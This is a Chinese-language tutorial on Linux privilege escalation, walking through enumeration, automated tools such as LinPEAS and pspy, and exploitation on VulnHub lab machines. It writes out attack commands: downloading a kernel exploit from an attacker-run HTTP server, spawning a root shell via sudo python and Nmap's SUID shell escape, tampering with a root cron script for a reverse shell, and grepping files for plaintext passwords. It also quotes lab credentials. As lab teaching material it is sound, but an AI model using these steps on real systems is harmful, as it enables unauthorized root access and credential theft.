1.关于提权
系统提权通常是渗透测试或CTF比赛中遇到的关键步骤, 通过提权可以允许攻击者执行一些特殊操作,例如:绕过访问控制、更改密码、创建新用户作为持久化手段、对软件进行更改等。具有root权限的用户则可以对系统进行任何操作, 包括:读、写或删除任何文件、停止或启动服务、安装或卸载应用程序及管理账户等。
2.提权过程中的信息收集
提权过程中的信息收集相当于是一个手动枚举的过程, 涉及对系统配置和服务信息进行详细的查看和收集, 在此过程中, 往往需要记录尽可能多的信息, 其中有些看似不重要的信息即使现在用不到, 在后期往往能提供非常有价值的灵感和思路。
2.1 查看系统内核版本
如果发现具有可用漏洞的内核版本, 则可以使用它来获取root shell, 可以使用以下命令查看内核版本:
$ uname -r
命令返回如图:
图片
如果安装了LSB模块, 则可以使用命令查看Linux版本, 命令如下:
$ lsb_release -a
假如没有该命令, 可以使用以下命令查看:
$ cat /proc/version
命令返回结果如下:
图片
2.2 Sudo版本
跟内核版本一样, sudo版本也可能受到攻击, 可以使用以下命令查看:
$ sudo -V
命令返回结果如下:
图片
2.3 历史记录
使用history命令可以查看系统曾经运行的命令历史记录, 在这个过程中往往能够找到一些有价值的信息,例如:系统密码,如图:
图片
2.4 计划任务
可以使用命令查看系统中间隔时间运行的程序, 在这个过程中可能会发现一些意外的信息,如图:
图片
2.5 sudo信息
在Linux权限提升过程中, 查看用户当前拥有的sudo权限, 可以提示我可能使用sudo能够运行某些命令, 输入以下命令:
$ sudo -l
命令返回结果如下:
图片
2.6 检查身份
可以直接使用id命令查看当前用户属于哪些组, 如图:
图片
2.7 检查网络信息
查看网络信息可以为下一步行动提供丰富的信息,例如: 路由信息、IP地址等, 根据这些信息对于之后理清整个网络拓扑结构非常有帮助, 命令执行结果如下:
图片
3.自动化工具
在Linux系统中使用自动化工具可以大大提升整体效率, 以下是一些常见的枚举工具。
3.1 LinEnum
LinEnum是一款流行的权限提升工具, 它能够显示有关Linux系统的信息, 这些信息有价值的地方在于它们可能具有潜在的漏洞、错误配置, 大大提高提权的成功几率。
图片
LinEnum收集的信息包括:用户账户、文件权限、活动进程、已安装的软件包、网络配置、计划任务、系统日志、版本信息等。
3.2 LinPEAS
LinPEAS也是一个流行的提权脚本, 可以帮助我生成root shell的潜在路径, 并协助发现Linux环境中权限的错误配置或漏洞。
图片
LinPEAS使用颜色编码系统突出显示哪些特权升级维度最可能发挥作用, 如果出现红色/黄色, 则应该优先关注。
3.3 Pspy工具
Pspy是一个命令行工具, 该工具可以无需root权限监控Linux系统中运行的进程。
该工具对于识别cron作业或其他计划任务运行的进程特别有用, 这些进程通常是特权升级攻击的目标。通过识别这些进程,渗透测试人员可以找到利用错误配置或漏洞的机会,从而使攻击者能够在系统上获得更高的权限。
图片
3.4 Linux Exploit Suggester
Linux Exploit Suggester是一个Linux权限提升工具,用于检查计算机是否存在潜在的内核漏洞。该工具使用“极有可能”、“可能”、“不太可能”和“不可能”分数来计算漏洞利用成功的可能性。
图片
3.5 Linux Smart Enumeration
Linux Smart Enumeration是另一个类似于LinPEAS 的工具。它旨在识别系统漏洞、错误配置和其他潜在的系统权限升级途径。然而,LSE以其独特的检查“级别”而闻名,它允许用户根据自己的需要指定枚举的深度。
它具有三个详细级别。默认情况下,系统会显示最严重的安全漏洞。执行第1级会显示有用的信息,可以帮助渗透测试人员升级权限。执行级别2将提供收集的所有系统数据的大量转储。
图片
4.利用内核漏洞提权
内核漏洞是利用Linux操作系统内核代码中的错误或缺陷, 例如:缓冲区溢出。为了能够证明利用内核漏洞提升权限并生成root shell确实有效, 这里使用了VulnHub的Kioptrix 1.1虚拟机。
当以普通用户进入目标机器后, 首先还是通过lsb_release -a 命令查看内核版本, 如图:
图片
从上图中可以看出, 这台机器运行的是CentOS, 内核版本为:2.6.9, 下一步使用searchsploit命令查找漏洞, 完整命令如下:
$ searchsploit linux CentOS 2.6 privilege escalation
上图中显示的9545.c将是我们利用的目标, 但必须将代码从Kali传输到我的目标机器并编译成可执行文件。
接下来我在Kali机器上启动一个Python服务器, 并通过Kioptrix 机器上的wget下载漏洞利用程序。以下命令将在端口 8000 上启动 Python 服务器。确保在漏洞所在的同一文件夹中启动服务器。
python3 -m http.server
图片
图片
下面我可以使用wget命令将漏洞利用程序下载到Kioptrix,命令如下:
wget http://192.168.56.103:8000/9545.c
下载完成后, 使用以下命令编译代码:
gcc 9545.c -o privesc
图片
最终利用内核漏洞获取到root shell权限。
5.利用服务漏洞提权
服务漏洞主要是利用系统或应用程序服务中的漏洞达到提权目的。这些服务通常是向其他程序或用户提供特定功能的后台程序,包括: Web服务器、数据库服务器、电子邮件服务器等。
服务漏洞利用的过程涉及攻击者控制服务中的漏洞个来执行恶意代码, 根据具体的漏洞和所涉及的服务, 成功利用的结果可能会有很大差异。
下面是一个利用的案例, 看看在VulnHub的Raven2 VM中利用服务漏洞进行root访问是一种怎样的体验。
当我通过反弹shell进入了目标系统, 便可以进行一些枚举操作来查找任何潜在的漏洞。
现在我已经拥有位于wp_config文件中的MySQL凭据, 接着运行LinPeas工具, 看看能否找到任何可能的特权路径。
观察LinPeas提供的输出内容, 我发现MySQL正在以root身份运行, 如图:
图片
祭出搜索引擎, 看看该版本的MySQL是否有可用的漏洞,如图:
图片
看上去运气不错, 有一个名为udf_root的潜在的权限提升服务漏洞可以利用,该漏洞利用MySQL中的UDF(用户定义函数是一段扩展MySQL服务器功能代码)以MySQL服务的权限执行系统命令, 最终获取系统权限。
该漏洞利用会将/bin/sh复制到临时文件夹, 将所有者设置为root, 然后在/bin/sh二进制文件中设置SUID权限, 从而提供root shell。
将udf_root脚本下载到我本地Kali机器上, 将其重命名为ravenprivesc.py, 通过执勤启动的Python服务器并使用wget命令将其下载到Raven机器上, 如图:
图片
结合之前MySQL的登录凭据, 即:用户名:root, 密码:R@v3nSecurity, 运行一下试试:
图片
成功获取到root权限。
6.利用Sudo权限提权
在Linux系统中, sudo代表超级用户执行操作, 该命令允许普通用户以超级用户(root)的安全权限执行某些命令。sudo的主要目的是将root权限限制在真正需要的时候。
对于攻击者来说, 利用sudo规则, 可以获得提权并操作一些命令,例如: cat、find或python。
下面我使用sudo -l命令来查看sudo权限:
图片
从上图中可以看出, 可以使用sudo权限运行python, 而无需提供密码。
下面执行该命令:
sudo python -c 'import os; os.system("/bin/sh")'
图片
从上图看到,直接获取到了root权限。
7.利用SUID提权
SUID代表设置所有者用户ID, SUID允许用户以与文件所有者相同的权限运行可执行文件。例如:如果文件设置了SUID位, 则标准用户可以使用root权限执行该文件。
SUID权限可以使用带有四个前缀的chmod命令(例如:chmod 4755 文件名)来设置, 并且可以在ls -l中用s代替用户执行权限。
可以输入以下命令进行手动检查SUID:
find / -type f -perm -04000 -ls 2>/dev/null
图片
也可以使用LinPeas检查SUID文件,如图:
图片
如上图, 利用Nmap命令设置SUID位来帮助我提升权限。可以从这个网站:https://gtfobins.github.io/gtfobins/nmap/#suid找到相关操作的详细过程。
使用--interactive标志运行Nmap将来交互模式下启动它, 而!sh会在交互模式下生成一个shell, 由于Nmap上设置了SUID位, 因此shell将以root权限运行。
图片
8.计划任务提权
Linux中的计划任务是按预定义的时间或间隔运行的操作, 它们用于自动执行重复性任务, 以便无需人工干预即可完成这些任务。
如果计划任务以更高权限运行, 例如:root cron作业, 并且如果它被错误配置为执行普通用户可写的文件或脚本, 这样就可以修改此文件或脚本来包含恶意命令, 从而导致权限升级计划任务执行。
这里我采用了VulnHub中的Symfonos3 VM来查看计划任务, 首先还是利用Python创建一个http服务,输入命令:
python3 -m http.server
图片
这里可以使用wget命令从服务器下载pspy, 只要确保使用本机IP 即可:
wget http://192.168.110.136:8000/pspy64
图片
接着运行:./pspy64, 让pspy运行几分钟, 这时可以看到一个名为ftpclient.py的进程在定时运行, 如图:
图片
研究一下该文件, 看看是否可以以某种方式在它后面附加一些代码来生成反弹Shell,如图:
图片
这里我没有ftpclient.py文件的写入权限, 但我注意到该文件正在导入ftplib, 不妨尝试将其写入该文件中试试,如图:
图片
由于是"gods"组的一部分,因此拥有该文件的读写权限, 我可以给这个文件附加一个shell, 等待计划任务执行, 这时应该称为root用户了, 如图:
图片
回到kali机器上,看看结果:
图片
9.利用密码提权
当涉及到Linux权限提升时, 成为root用户最简单的方法之一就是查找密码, 攻击者可能会使用多种方法来查找系统中的密码。
Linux用户可以以纯文本形式存储密码, 如果这些文件没有得到适当保护, 攻击者可能会访问用户的账户。
一旦找到密码, 攻击者就可以使用它来提升权限, 方法是登录更高权限的账户或将其与sudo一起使用以提升权限运行命令。
下面将使用VulnHub中的SickOS VM来实现这个场景, 首先输入以下命令查看密码:
cat /etc/passwd
图片
从图中可以看到, 有一个用户较sickos, 下一步搜索以纯文本形式存储的密码, 可以使用以下命令来搜索包含字符串"pass"的PHP文件:
find / -maxdepth 4 -name *.php -type f 2>/dev/null | xargs grep -C 3 -i pass
图片
可以看到, 有一个以明文形式存储的用户名root和密码john@123, 看看是否可以使用找到的密码切换到sickos用户, 从社会工程学角度, 密码往往会重复用于多种场合:
图片
居然可以, 我已将www-data用户提升为Sickos用户, 现在顺便看看是否有sudo权限:
sudo -l
图片
可以看到,已经可以以root用户身份运行所有命令。